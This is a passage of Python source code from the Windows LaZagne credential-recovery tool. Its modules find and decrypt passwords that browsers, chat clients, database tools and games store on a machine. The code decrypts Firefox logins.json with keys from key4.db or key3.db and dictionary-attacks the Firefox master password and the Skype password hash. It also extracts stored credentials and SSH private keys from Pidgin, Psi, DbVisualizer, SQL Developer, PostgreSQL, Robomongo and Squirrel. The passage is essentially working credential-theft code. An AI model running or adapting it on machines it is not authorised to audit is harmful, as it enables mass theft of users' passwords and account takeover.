>> 32 # strip off leading zeros for i in range(len(s)): if s[i] != convert_to_byte('\000')[0]: break else: # only happens when n == 0 s = convert_to_byte('\000') i = 0 s = s[i:] # add back some pad bytes. this could be done more efficiently w.r.t. the # de-padding being done above, but sigh... if blocksize > 0 and len(s) % blocksize: s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s return s class Mozilla(ModuleInfo): def __init__(self, browser_name, path, category='browsers'): self.path = path ModuleInfo.__init__(self, browser_name, category=category) def get_firefox_profiles(self, directory): """ List all profiles """ cp = RawConfigParser() profile_list = [] try: cp.read(os.path.join(directory, 'profiles.ini')) for section in cp.sections(): if section.startswith('Profile') and cp.has_option(section, 'Path'): profile_path = None if cp.has_option(section, 'IsRelative'): if cp.get(section, 'IsRelative') == '1': profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) elif cp.get(section, 'IsRelative') == '0': profile_path = cp.get(section, 'Path').strip() else: # No "IsRelative" in profiles.ini profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) if profile_path: profile_path = profile_path.replace('/', '\\') profile_list.append(profile_path) except Exception as e: self.error(u'An error occurred while reading profiles.ini: {}'.format(e)) return profile_list def get_key(self, profile): """ Get main key used to encrypt all data (user / password). Depending on the Firefox version, could be stored in key3.db or key4.db file. """ try: row = None # Remove error when file is empty with open(os.path.join(profile, 'key4.db'), 'rb') as f: content = f.read() if content: conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite c = conn.cursor() # First check password c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") try: row = c.next() # Python 2 except Exception: row = next(c) # Python 3 except Exception: self.debug(traceback.format_exc()) else: if row: (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row) if global_salt: try: # Decrypt 3DES key to decrypt "logins.json" content c.execute("SELECT a11,a102 FROM nssPrivate;") for row in c: if row[0]: break a11 = row[0] # CKA_VALUE a102 = row[1] # f8000000000000000000000000000001, CKA_ID if python_version == 2: a102 = str(a102) if a102 == CKA_ID: # a11 : CKA_VALUE # a102 : f8000000000000000000000000000001, CKA_ID # self.print_asn1(a11, len(a11), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_3des_key # INTEGER 01 # } # } # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) # } decoded_a11 = decoder.decode(a11) key = self.decrypt_3des(decoded_a11, master_password, global_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] # else: # Nothing saved except Exception: self.debug(traceback.format_exc()) try: key3_file = os.path.join(profile, 'key3.db') if os.path.exists(key3_file): key_data = self.read_bsddb(key3_file) # Check masterpassword (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'', key_data=key_data, new_version=False) if global_salt: key = self.extract_secret_key(key_data=key_data, global_salt=global_salt, master_password=master_password, entry_salt=entry_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] except Exception: self.debug(traceback.format_exc()) @staticmethod def get_short_le(d, a): return struct.unpack('L', d[a:a + 4])[0] def print_asn1(self, d, l, rl): """ Used for debug """ type_ = char_to_int(d[0]) length = char_to_int(d[1]) if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, # nByteLength = length & 0x7f length = char_to_int(d[2]) # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and # bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type_ == 0x30: seq_len = length read_len = 0 while seq_len > 0: len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1) seq_len = seq_len - len2 read_len = read_len + len2 return length + 2 elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER return length + 2 elif length == l - 2: self.print_asn1(d[2:], length, rl + 1) return length def read_bsddb(self, name): """ Extract records from a BSD DB 1.85, hash mode Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used """ with open(name, 'rb') as f: # http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.get_long_be(header, 0) if magic != 0x61561: self.warning(u'Bad magic number') return False version = self.get_long_be(header, 4) if version != 2: self.warning(u'Bad version !=2 (1.85)') return False pagesize = self.get_long_be(header, 12) nkeys = self.get_long_be(header, 0x38) readkeys = 0 page = 1 db1 = [] while readkeys < nkeys: f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offset_vals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.get_short_le(offsets, 2 + i) val = self.get_short_le(offsets, 4 + i) nval = self.get_short_le(offsets, 8 + i) offset_vals.append(key + pagesize * page) offset_vals.append(val + pagesize * page) readkeys += 1 i += 4 offset_vals.append(pagesize * (page + 1)) val_key = sorted(offset_vals) for i in range(keys * 2): f.seek(val_key[i]) data = f.read(val_key[i + 1] - val_key[i]) db1.append(data) page += 1 db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db @staticmethod def decrypt_3des(decoded_item, master_password, global_salt): """ User master key is also encrypted (if provided, the master_password could be used to encrypt it) """ # See http://www.drh-consultancy.demon.co.uk/key3.html pbeAlgo = str(decoded_item[0][0][0]) if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC entry_salt = decoded_item[0][0][1][0].asOctets() cipher_t = decoded_item[0][1].asOctets() # See http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(global_salt + master_password).digest() pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt)) chp = sha1(hp + entry_salt).digest() k1 = hmac.new(chp, pes + entry_salt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entry_salt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return triple_des(key, CBC, iv).decrypt(cipher_t) # New version elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' # https://tools.ietf.org/html/rfc8018#page-23 entry_salt = decoded_item[0][0][1][0][1][0].asOctets() iteration_count = int(decoded_item[0][0][1][0][1][1]) key_length = int(decoded_item[0][0][1][0][1][2]) assert key_length == 32 k = sha1(global_salt + master_password).digest() key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() # 04 is OCTETSTRING, 0x0e is length == 14 encrypted_value = decoded_item[0][1].asOctets() aes = AESModeOfOperationCBC(key, iv=iv) cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)]) return cleartxt def extract_secret_key(self, key_data, global_salt, master_password, entry_salt): if unhexlify('f8000000000000000000000000000001') not in key_data: return None priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')] salt_len = char_to_int(priv_key_entry[1]) name_len = char_to_int(priv_key_entry[2]) priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:]) # data = priv_key_entry[3 + salt_len + name_len:] # self.print_asn1(data, len(data), 0) # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt) # self.print_asn1(priv_key, len(priv_key), 0) priv_key_asn1 = decoder.decode(priv_key) pr_key = priv_key_asn1[0][2].asOctets() # self.print_asn1(pr_key, len(pr_key), 0) pr_key_asn1 = decoder.decode(pr_key) # id = pr_key_asn1[0][1] key = long_to_bytes(pr_key_asn1[0][3]) return key @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode # For login and password, keep :(key_id, iv, ciphertext) return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() def get_login_data(self, profile): """ Get encrypted data (user / password) and host from the json or sqlite files """ conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite')) logins = [] c = conn.cursor() try: c.execute('SELECT * FROM moz_logins;') except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 try: logins_json = os.path.join(profile, 'logins.json') if os.path.isfile(logins_json): with open(logins_json) as f: loginf = f.read() if loginf: json_logins = json.loads(loginf) if 'logins' not in json_logins: self.debug('No logins key in logins.json') return logins for row in json_logins['logins']: enc_username = row['encryptedUsername'] enc_password = row['encryptedPassword'] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row['hostname'])) return logins except Exception: self.debug(traceback.format_exc()) return [] # Using sqlite3 database for row in c: enc_username = row[6] enc_password = row[7] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) return logins def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True): """ Check if a master password is set. If so, try to find it using a dictionary attack """ (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password, key_data=key_data, new_version=new_version) if not global_salt: self.info(u'Master Password is used !') (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data, new_version=new_version) if not master_password: return '', '', '' return global_salt, master_password, entry_salt def is_master_password_correct(self, key_data, master_password=b'', new_version=True): try: entry_salt = b"" if not new_version: # See http://www.drh-consultancy.demon.co.uk/key3.html pwd_check = key_data.get(b'password-check') if not pwd_check: return '', '', '' # Hope not breaking something (not tested for old version) # entry_salt_len = char_to_int(pwd_check[1]) # entry_salt = pwd_check[3: 3 + entry_salt_len] # encrypted_passwd = pwd_check[-16:] global_salt = key_data[b'global-salt'] else: global_salt = key_data[0] # Item1 item2 = key_data[1] # self.print_asn1(item2, len(item2), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_passwd_check # INTEGER 01 # } # } # OCTETSTRING encrypted_password_check # } decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) if cleartext_data != convert_to_byte('password-check\x02\x02'): return '', '', '' return global_salt, master_password, entry_salt except Exception: self.debug(traceback.format_exc()) return '', '', '' def brute_master_password(self, key_data, new_version=True): """ Try to find master_password doing a dictionary attack using the 500 most used passwords """ wordlist = constant.password_found + get_dic() num_lines = (len(wordlist) - 1) self.info(u'%d most used passwords !!! ' % num_lines) for word in wordlist: global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data, master_password=word.strip(), new_version=new_version) if master_password: self.info(u'Master password found: {}'.format(master_password)) return global_salt, master_password, entry_salt self.warning(u'No password has been found using the default list') return '', '', '' def remove_padding(self, data): """ Remove PKCS#7 padding """ try: nb = struct.unpack('B', data[-1])[0] # Python 2 except Exception: nb = data[-1] # Python 3 try: return data[:-nb] except Exception: self.debug(traceback.format_exc()) return data def decrypt(self, key, iv, ciphertext): """ Decrypt ciphered data (user / password) using the key previously found """ data = triple_des(key, CBC, iv).decrypt(ciphertext) return self.remove_padding(data) def run(self): """ Main function """ pwd_found = [] self.path = self.path.format(**constant.profile) if os.path.exists(self.path): for profile in self.get_firefox_profiles(self.path): self.debug(u'Profile path found: {profile}'.format(profile=profile)) credentials = self.get_login_data(profile) if credentials: for key in self.get_key(profile): for user, passw, url in credentials: try: pwd_found.append({ 'URL': url, 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'), 'Password': self.decrypt(key=key, iv=passw[1], ciphertext=passw[2]).decode('utf-8'), }) except Exception: self.debug(u'An error occured decrypting the password: {error}'.format(error=traceback.format_exc())) else: self.info(u'Database empty') return pwd_found ================================================ FILE: Windows/lazagne/softwares/browsers/ucbrowser.py ================================================ # -*- coding: utf-8 -*- import os from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.softwares.browsers.chromium_based import ChromiumBased class UCBrowser(ChromiumBased): def __init__(self): self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins' ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True) def _get_database_dirs(self): data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile) try: # UC Browser seems to have random characters appended to the User Data dir so we'll list them all self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)] except Exception: self.paths = [] return ChromiumBased._get_database_dirs(self) ================================================ FILE: Windows/lazagne/softwares/chats/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/chats/pidgin.py ================================================ # -*- coding: utf-8 -*- import os from xml.etree.cElementTree import ElementTree from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class Pidgin(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'pidgin', 'chats') def run(self): path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml') if os.path.exists(path): tree = ElementTree(file=path) root = tree.getroot() pwd_found = [] for account in root.findall('account'): name = account.find('name') password = account.find('password') if None not in (name, password): pwd_found.append({ 'Login': name.text, 'Password': password.text }) return pwd_found ================================================ FILE: Windows/lazagne/softwares/chats/psi.py ================================================ # -*- coding: utf-8 -*- import os from xml.etree.cElementTree import ElementTree from glob import glob from itertools import cycle from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import char_to_int class PSI(ModuleInfo): def __init__(self): self.pwd_found = [] ModuleInfo.__init__(self, 'psi-im', 'chats') def get_profiles_files(self): _dirs = ( u'psi\\profiles\\*\\accounts.xml', u'psi+\\profiles\\*\\accounts.xml', ) for one_dir in _dirs: _path = os.path.join(constant.profile['APPDATA'], one_dir) accs_files = glob(_path) for one_file in accs_files: yield one_file # Thanks to https://github.com/jose1711/psi-im-decrypt def decode_password(self, password, jid): result = '' jid = cycle(jid) for n1 in range(0, len(password), 4): x = int(password[n1:n1 + 4], 16) result += chr(x ^ char_to_int(next(jid))) return result def process_one_file(self, _path): root = ElementTree(file=_path).getroot() for item in root: if item.tag == '{http://psi-im.org/options}accounts': for acc in item: values = {} for x in acc: if x.tag == '{http://psi-im.org/options}jid': values['Login'] = x.text elif x.tag == '{http://psi-im.org/options}password': values['Password'] = x.text values['Password'] = self.decode_password(values['Password'], values['Login']) if values: self.pwd_found.append(values) def run(self): for one_file in self.get_profiles_files(): self.process_one_file(one_file) return self.pwd_found ================================================ FILE: Windows/lazagne/softwares/chats/skype.py ================================================ # -*- coding: utf-8 -*- import binascii import hashlib import os import struct from xml.etree.cElementTree import ElementTree import lazagne.config.winstructure as win from lazagne.config.constant import constant from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC from lazagne.config.dico import get_dic from lazagne.config.module_info import ModuleInfo try: import _winreg as winreg except ImportError: import winreg class Skype(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True) self.pwd_found = [] def aes_encrypt(self, message, passphrase): iv = '\x00' * 16 aes = AESModeOfOperationCBC(passphrase, iv=iv) return aes.encrypt(message) # get value used to build the salt def get_regkey(self): try: key_path = 'Software\\Skype\\ProtectedStorage' try: hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path) except Exception as e: self.debug(str(e)) return False # num = winreg.QueryInfoKey(hkey)[1] k = winreg.EnumValue(hkey, 0)[1] result_bytes = win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) return result_bytes.decode("utf-8") except Exception as e: self.debug(str(e)) return False # get hash from lazagne.configuration file def get_hash_credential(self, xml_file): tree = ElementTree(file=xml_file) encrypted_hash = tree.find('Lib/Account/Credentials3') if encrypted_hash is not None: return encrypted_hash.text else: return False # decrypt hash to get the md5 to bruteforce def get_md5_hash(self, enc_hex, key): # convert hash from hex to binary enc_binary = binascii.unhexlify(enc_hex) # retrieve the salt salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest() # encrypt value used with the XOR operation aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16] # XOR operation decrypted = [] for d in range(16): decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0]) # cast the result byte tmp = '' for dec in decrypted: tmp = tmp + struct.pack(">I", dec).strip('\x00') # byte to hex return binascii.hexlify(tmp) def dictionary_attack(self, login, md5): wordlist = constant.password_found + get_dic() for word in wordlist: hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() if hash_ == md5: return word return False def get_username(self, path): xml_file = os.path.join(path, u'shared.xml') if os.path.exists(xml_file): tree = ElementTree(file=xml_file) username = tree.find('Lib/Account/Default') try: return win.string_to_unicode(username.text) except Exception: pass return False def get_info(self, key, username, path): if os.path.exists(os.path.join(path, u'config.xml')): values = {} try: values['Login'] = username # get encrypted hash from the config file enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml')) if not enc_hex: self.warning(u'No credential stored on the config.xml file.') else: # decrypt the hash to get the md5 to brue force values['Hash'] = self.get_md5_hash(enc_hex, key) values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n' # Try a dictionary attack on the hash password = self.dictionary_attack(values['Login'], values['Hash']) if password: values['Password'] = password self.pwd_found.append(values) except Exception as e: self.debug(str(e)) def run(self): path = os.path.join(constant.profile['APPDATA'], u'Skype') if os.path.exists(path): # retrieve the key used to build the salt key = self.get_regkey() if not key: self.error(u'The salt has not been retrieved') else: username = self.get_username(path) if username: d = os.path.join(path, username) if os.path.exists(d): self.get_info(key, username, d) if not self.pwd_found: for d in os.listdir(path): self.get_info(key, d, os.path.join(path, d)) return self.pwd_found ================================================ FILE: Windows/lazagne/softwares/databases/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/databases/dbvis.py ================================================ # -*- coding: utf-8 -*- import array import base64 import binascii import hashlib import os import re from xml.etree.cElementTree import ElementTree from lazagne.config.constant import constant from lazagne.config.crypto.pyDes import des, CBC from lazagne.config.module_info import ModuleInfo class Dbvisualizer(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, name='dbvis', category='databases') self._salt = self.get_salt() self._passphrase = 'qinda' self._iteration = 10 def get_salt(self): salt_array = [-114, 18, 57, -100, 7, 114, 111, 90] salt = array.array('b', salt_array) hexsalt = binascii.hexlify(salt) return binascii.unhexlify(hexsalt) def get_derived_key(self, password, salt, count): key = bytearray(password) + salt for i in range(count): m = hashlib.md5(key) key = m.digest() return key[:8], key[8:] def decrypt(self, msg): enc_text = base64.b64decode(msg) (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) crypter = des(dk, CBC, iv) text = crypter.decrypt(enc_text) return re.sub(r'[\x01-\x08]', '', text) def run(self): path = os.path.join(constant.profile['HOMEPATH'], u'.dbvis', u'config70', u'dbvis.xml') if os.path.exists(path): tree = ElementTree(file=path) pwd_found = [] elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'} for e in tree.findall('Databases/Database'): values = {} for elem in elements: try: if elem != "Password": values[elements[elem]] = e.find(elem).text else: values[elements[elem]] = self.decrypt(e.find(elem).text) except Exception: pass try: elem = e.find('UrlVariables') for ee in elem.getchildren(): for ele in ee.getchildren(): if 'Server' == ele.attrib['UrlVariableName']: values['Host'] = str(ele.text) if 'Port' == ele.attrib['UrlVariableName']: values['Port'] = str(ele.text) if 'SID' == ele.attrib['UrlVariableName']: values['SID'] = str(ele.text) except Exception: pass if values: pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/databases/postgresql.py ================================================ # -*- coding: utf-8 -*- import os from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class PostgreSQL(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, name='postgresql', category='databases') def run(self): path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf') if os.path.exists(path): with open(path) as f: pwd_found = [] for line in f.readlines(): try: items = line.strip().split(':') pwd_found.append({ 'Hostname': items[0], 'Port': items[1], 'DB': items[2], 'Username': items[3], 'Password': items[4] }) except Exception: pass return pwd_found ================================================ FILE: Windows/lazagne/softwares/databases/robomongo.py ================================================ # -*- coding: utf-8 -*- import json import os from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class Robomongo(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'robomongo', 'databases') self.paths = [ { 'directory': u'.config/robomongo', 'filename': u'robomongo.json', }, { 'directory': u'.3T/robo-3t/1.1.1', 'filename': u'robo3t.json', } ] def read_file_content(self, file_path): """ Read the content of a file :param file_path: Path of the file to read. :return: File content as string. """ content = "" if os.path.isfile(file_path): with open(file_path, 'r') as file_handle: content = file_handle.read() return content def parse_json(self, connection_file_path): repos_creds = [] if not os.path.exists(connection_file_path): return repos_creds with open(connection_file_path) as connection_file: try: connections_infos = json.load(connection_file) except Exception: return repos_creds for connection in connections_infos.get("connections", []): try: creds = { "Name": connection["connectionName"], "Host": connection["serverHost"], "Port": connection["serverPort"] } crd = connection["credentials"][0] if crd.get("enabled"): creds.update({ "AuthMode": "CREDENTIALS", "DatabaseName": crd["databaseName"], "AuthMechanism": crd["mechanism"], "Login": crd["userName"], "Password": crd["userPassword"] }) else: creds.update({ "Host": connection["ssh"]["host"], "Port": connection["ssh"]["port"], "Login": connection["ssh"]["userName"] }) if connection["ssh"]["enabled"] and connection["ssh"]["method"] == "password": creds.update({ "AuthMode": "SSH_CREDENTIALS", "Password": connection["ssh"]["userPassword"] }) else: creds.update({ "AuthMode": "SSH_PRIVATE_KEY", "Passphrase": connection["ssh"]["passphrase"], "PrivateKey": self.read_file_content(connection["ssh"]["privateKeyFile"]), "PublicKey": self.read_file_content(connection["ssh"]["publicKeyFile"]) }) repos_creds.append(creds) except Exception as e: self.error(u"Cannot retrieve connections credentials '{error}'".format(error=e)) return repos_creds def run(self): """ Extract all connection's credentials. :return: List of dict in which one dict contains all information for a connection. """ pwd_found = [] for directory in self.paths: connection_file_path = os.path.join(constant.profile['USERPROFILE'], directory['directory'], directory['filename']) pwd_found.extend(self.parse_json(connection_file_path)) return pwd_found ================================================ FILE: Windows/lazagne/softwares/databases/sqldeveloper.py ================================================ # -*- coding: utf-8 -*- # Passwords decryption for new verion have been taken from: # https://github.com/maaaaz/sqldeveloperpassworddecryptor import array import base64 import binascii import hashlib import json import os import re from xml.etree.cElementTree import ElementTree from Crypto.Cipher import AES from lazagne.config.constant import constant from lazagne.config.crypto.pyDes import des, CBC from lazagne.config.module_info import ModuleInfo class SQLDeveloper(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'sqldeveloper', 'databases') self._salt = self.get_salt() self._passphrase = None self._iteration = 42 def get_salt(self): salt_array = [5, 19, -103, 66, -109, 114, -24, -83] salt = array.array('b', salt_array) hexsalt = binascii.hexlify(salt) return binascii.unhexlify(hexsalt) def get_derived_key(self, password, salt, count): key = bytearray(password) + salt for i in range(count): m = hashlib.md5(key) key = m.digest() return key[:8], key[8:] def decrypt(self, msg): enc_text = base64.b64decode(msg) (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) crypter = des(dk, CBC, iv) text = crypter.decrypt(enc_text) return re.sub(r'[\x01-\x08]', '', text) def aes_cbc_decrypt(self, encrypted_password, decryption_key, iv): unpad = lambda s : s[:-ord(s[len(s)-1:])] crypter = AES.new(decryption_key, AES.MODE_CBC, iv) decrypted_password = unpad(crypter.decrypt(encrypted_password)) return decrypted_password.decode('utf-8') def decrypt_v19_2(self, encrypted, db_system_id): encrypted_password = base64.b64decode(encrypted) salt = array.array('b', [6, -74, 97, 35, 61, 104, 50, -72]) key = hashlib.pbkdf2_hmac("sha256", db_system_id.encode(), salt, 5000, 32) iv = encrypted_password[:16] encrypted_password = encrypted_password[16:] try: decrypted = self.aes_cbc_decrypt(encrypted_password, key, iv) except: return False return decrypted def get_passphrase(self, path): xml_name = u'product-preferences.xml' xml_file = None if os.path.exists(os.path.join(path, xml_name)): xml_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith(u'o.sqldeveloper'): if os.path.exists(os.path.join(new_directory, pp, xml_name)): xml_file = os.path.join(new_directory, pp, xml_name) break if xml_file: tree = ElementTree(file=xml_file) for elem in tree.iter(): if 'n' in elem.attrib.keys(): if elem.attrib['n'] == 'db.system.id': return elem.attrib['v'] def run(self): pwd_found = [] path = os.path.join(constant.profile['APPDATA'], u'SQL Developer') if os.path.exists(path): self._passphrase = self.get_passphrase(path) if self._passphrase: self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase)) # Check for older version xml_name = u'connections.xml' xml_file = None if os.path.exists(os.path.join(path, xml_name)): xml_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith(u'o.jdeveloper.db.connection'): if os.path.exists(os.path.join(new_directory, pp, xml_name)): xml_file = os.path.join(new_directory, pp, xml_name) break if xml_file: renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login', 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL', 'SavePassword': 'SavePassword', 'driver': 'Driver'} tree = ElementTree(file=xml_file) pwd_found = [] for e in tree.findall('Reference'): values = {} for ee in e.findall('RefAddresses/StringRefAddr'): if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None: name = renamed_value[ee.attrib['addrType']] value = ee.find('Contents').text if name != 'Password' else self.decrypt( ee.find('Contents').text) values[name] = value pwd_found.append(values) # Check for newer version json_name = u'connections.json' json_file = None if os.path.exists(os.path.join(path, xml_name)): json_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith(u'o.jdeveloper.db.connection'): if os.path.exists(os.path.join(new_directory, pp, json_name)): json_file = os.path.join(new_directory, pp, json_name) break if json_file: with open(json_file) as jf: data = json.load(jf) for connection in data['connections']: values = { 'Name': connection['name'], 'Type': connection['type'] } for info in connection['info']: if info == 'password': password = self.decrypt_v19_2(connection['info'][info], self._passphrase) if password: values['Password'] = password else: values[info.capitalize()] = connection['info'][info] pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/databases/squirrel.py ================================================ # -*- coding: utf-8 -*- import os from xml.etree.cElementTree import ElementTree from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class Squirrel(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, name='squirrel', category='databases') def run(self): path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml') if os.path.exists(path): tree = ElementTree(file=path) pwd_found = [] elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'} for elem in tree.iter('Bean'): values = {} for e in elem: if e.tag in elements: values[elements[e.tag]] = e.text if values: pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/games/__init__.py ================================================ ================================================ FILE: Windows/lazagne/softwares/games/galconfusion.py ================================================ # -*- coding: utf-8 -*- import os try: import _winreg as winreg except ImportError: import winreg import lazagne.config.winstructure as win from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import string_to_unicode class GalconFusion(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True) def run(self): creds = [] results = None # Find the location of steam - to make it easier we're going to use a try block # 'cos I'm lazy try: with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key: results = winreg.QueryValueEx(key, 'SteamPath') except Exception: pass if results: steampath = string_to_unicode(results[0]) userdata = os.path.join(steampath, u'userdata') # Check that we have a userdata directory if not os.path.exists(userdata): self.error(u'Steam doesn\'t have a userdata directory.') return # Now look for Galcon Fusion in every user for f in os.listdir(userdata): filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg') if not os.path.exists(filepath): continue # If we're here we should have a Galcon Fusion file with open(filepath, mode='rb') as cfgfile: # We've found a config file, now extract the creds data = cfgfile.read() creds.append({ 'Login': data[4:0x23], 'Password': data[0x24:0x43] }) return creds ================================================ FILE: Windows/lazagne/softwares/games/kalypsomedia.py ================================================ # -*- coding: utf-8 -*- import base64 import os from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import char_to_int, chr_or_byte try: from ConfigParser import ConfigParser # Python 2.7 except ImportError: from configparser import ConfigParser # Python 3 class KalypsoMedia(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'kalypsomedia', 'games') def xorstring(self, s, k): """ xors the two strings """ return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k)) def run(self): creds = [] key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89' inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini') # The actual user details are stored in *.userdata files if os.path.exists(inifile): config = ConfigParser() config.read(inifile) # get the encoded password cookedpw = base64.b64decode(config.get('styx user', 'password')) creds.append({ 'Login': config.get('styx user', 'login'), 'Password': self.xorstring(cookedpw, key) }) return creds ================================================ FILE: Windows/lazagne/softwares/games/roguestale.py ================================================ # -*- coding: utf-8 -*- import os import re from xml.etree.cElementTree import ElementTree from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo class RoguesTale(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'roguestale', 'games') def 